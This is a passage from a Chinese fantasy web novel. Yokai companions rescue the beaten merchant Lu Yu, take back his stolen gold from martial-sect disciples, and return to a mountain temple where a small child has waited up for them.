他们在里面屋子里找到了被打得鼻青脸肿的陆虞。 小丛解开陆虞嘴里的布条,陆虞激动万分,“太好了!你们来救我了!” “我还以为我要死在这了。” 这次着实把陆虞吓得不轻。这些人把他捉来打了好几顿,逼问他张槐他们的下落。他不肯说,这些人变本加厉地打他。 “你受伤了吗?”小丛问。 陆虞说,“我的腿恐怕被打断了,一直疼。” “那些人还把我身上的金子抢走了。” “还抢了金子?”花旗听了这话立马不高兴,转身就跑出去追。这些金子说到底是他们的,让别人抢了去,他万般不愿意。 西觉和兜明一起追出去。 小丛留下来,摸了摸陆虞的骨头,确实是断了。他在外面砸了条板凳,抽了板凳腿,撕了炕上的床单,给陆虞固定好腿。然后扶着陆虞往外走。 “你们怎么知道我被人掳了?”陆虞扶着小丛往外蹦。 “梁家人看见的,上山来告诉我们了。”小丛回。 路过院子门口,陆虞瞧见地上躺着两个人,他恨恨地想去打人,可自己又只有一条腿能用,都还站不稳,只好算了。 他对小丛说,“刀捡来,咱们拿着用。” 小丛捡了刀来,陆虞拿起一把刀,扶着小丛往前蹦。蹦了几下,停下对小丛说,“要不你摸摸他们身上有没有钱?” “这些人与土匪无异。不能给他们留钱。” 小丛从那两人身上摸出了些铜板,“只有这些。” “蚊子再小也是肉。”陆虞说。 小丛要把铜板给陆虞,陆虞没要,“你拿着。” “花旗不让我们拿钱。”更何况陆虞需要钱。小丛还是把钱塞给陆虞,扶着他去了偏一点的河边等着。 兜明他们闻着味道,一直追到了镇上的一处客栈。 妖怪们跳进院子里,寻着气味摸到二楼一间客房。 二楼屋子里点着灯,几人在里面说话。 “大师兄,来的是什么人?” “我不知道。”沈三悟道,“他们不肯说。想来不是什么名门正派。” “他们内力极为深厚,我们几个根本不是对手。要是留在那,今晚估计都得命丧黄泉。” “昨天求的签是下下签,咱们就不该管这事。”另一个人说,“命都没了,要功法干什么。” “幸亏他们没追过来。” 话音刚落,兜明直接踹开了门 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今晚遇到这事,又加上昨天抽到了下下签。沈三悟便不想再管这些事。 花旗他们到了小河边,拿出钱来给陆虞,“我们不仅拿回了金子,还问他们多要了钱。” “你能多买些粮食了。” “还多要了钱?”陆虞惊喜地接过布包,“多给了多少钱?” “没数。”花旗说,“你自己数。” 陆虞借着月光,看到被踩瘪的金碗,心疼道,“好好的东西被他们糟蹋了。”他原本还打算拿去金铺子看这做工精美的金碗能不能多换些钱。 陆虞数了钱,高兴道,“多了十两银子!” “十两银子能买不少粮食。” 西觉背起陆虞,大家回了山里。 云灵观里,云善在屋里和坨坨玩了一会儿,一直不见西觉他们回来。他踩着木头梯子下了炕。 “云善你去哪?”坨坨问。 “院里。”云善趿拉着鞋子打开门,跑了出去。坨坨也下了炕跟出去。 云善跑到云灵观门口,对着外面来回张望,自言自语,“没回来。” “你找花旗他们?”坨坨走过来问,“他们干完事就回来了。” “你不想睡觉?”坨坨又问。 云善摇头。 坨坨搬了两个凳子来,和云善一起坐在云灵观门口等着。 “云善,你看月亮。好圆呀。” 云善跟着抬头往天上看,“圆啊。” 陈川和张槐都睡不着觉,两人坐在走廊下一直望着云灵观门口。 草丛里的小虫子们唧唧叫着,云善坐在小板凳上很快打起瞌睡。 坨坨推推他,“我们去屋里睡觉。” 云善半睁眼哼了一声,“回来呐?” “没。”坨坨说,“你困了就回去睡觉。” 云善不说话也不动,半睁眼坐在那打盹。坨坨要拽他起来,云善哼哼唧唧地不愿意。 坨坨没再弄他,把凳子拉过来,靠着云善,让云善倚在他身上睡。 山里的晚上不算安静,总有虫子不知疲倦地叫来叫去。坨坨听着虫子的叫声,困意慢慢也上来了。 花旗他们回来时,就见云善和坨坨俩个挨在一起坐在门口睡觉。 西觉抱起云善,小丛推醒坨坨。 “你们回来了。”坨坨揉揉眼,看到西觉背上的陆虞,“你受伤了?” “他断了条腿。”兜明说。 陈川和张槐也过来看。夜里没点灯,靠着月光照亮,谁也没看清陆虞的脸。 到屋里,有了油灯照亮,坨坨才看到陆虞脸上的青紫,“他们打你了?” 陆虞点头。 陈川解开陆虞腿上绑着的木块,摸了摸他的骨头,让张槐去院子里找块木板来,重新给陆虞固定腿。 “你的腿是被他们打断的?”坨坨问。 陆虞说,“他们逼我说出陈川他们的下落。我不说就打我。” “我又不痴傻,说了他们也不一定会放了我,何必还把人扯出来。就是把我打死,我也不说。” 陆虞是个很讲义气的人,一直在帮他们,张槐和陈川打从心里感激他。 坨坨气愤道,“那也不能把腿打断了,得多疼呀。” “那些人可真坏。” 夜深了,西觉抱着云善回屋睡觉。云善已经睡得很熟了,别人大声说话也没吵醒他。 “云善早就困了,让他睡也不睡。”坨坨说,“就要在门口等着。” 西觉捏捏云善肉乎乎的小胳膊。胖乎乎的人类小崽全身都软软的,肉肉的,摸着很舒服。云善白天调皮得很,晚上睡着了倒是一副乖乖的模样。 “谁不在他都要找。”花旗笑着说。 兜明趴在地上舔了舔胳膊。 “伤口深吗?”小丛问。 “不深。”兜明又舔了几口。 “兜明你受伤了?”坨坨惊讶地问。 “被暗器伤了。”兜明说,“他们的暗器很厉害。” “张槐也会暗器。”坨坨说,“我问问他能不能教我。” 陆虞躺在炕上,一会儿叹一声气,叹得陈川和张槐都睡不着。 “怎么了?”张槐问陆虞,“唉声叹气地干什么?” “腿断了不是大事,养养就好了。” 陆虞道,“我在想怎么运粮食回中州。” “现在我腿断了一条,没法运粮食。” 若是张槐和陈川不被人追杀,身上没伤口,这事也好解决。可他俩自顾不暇,更管不上陆虞。 “要不请人押镖走一趟。”张槐说,“金眼镖局口碑很好。” “你可以先雇一辆车......”张槐说着就停下了,“躲过了独峰派,其他门派也会盯上你。此番回中州,怕是困难重重。” “是我们拖累你了。”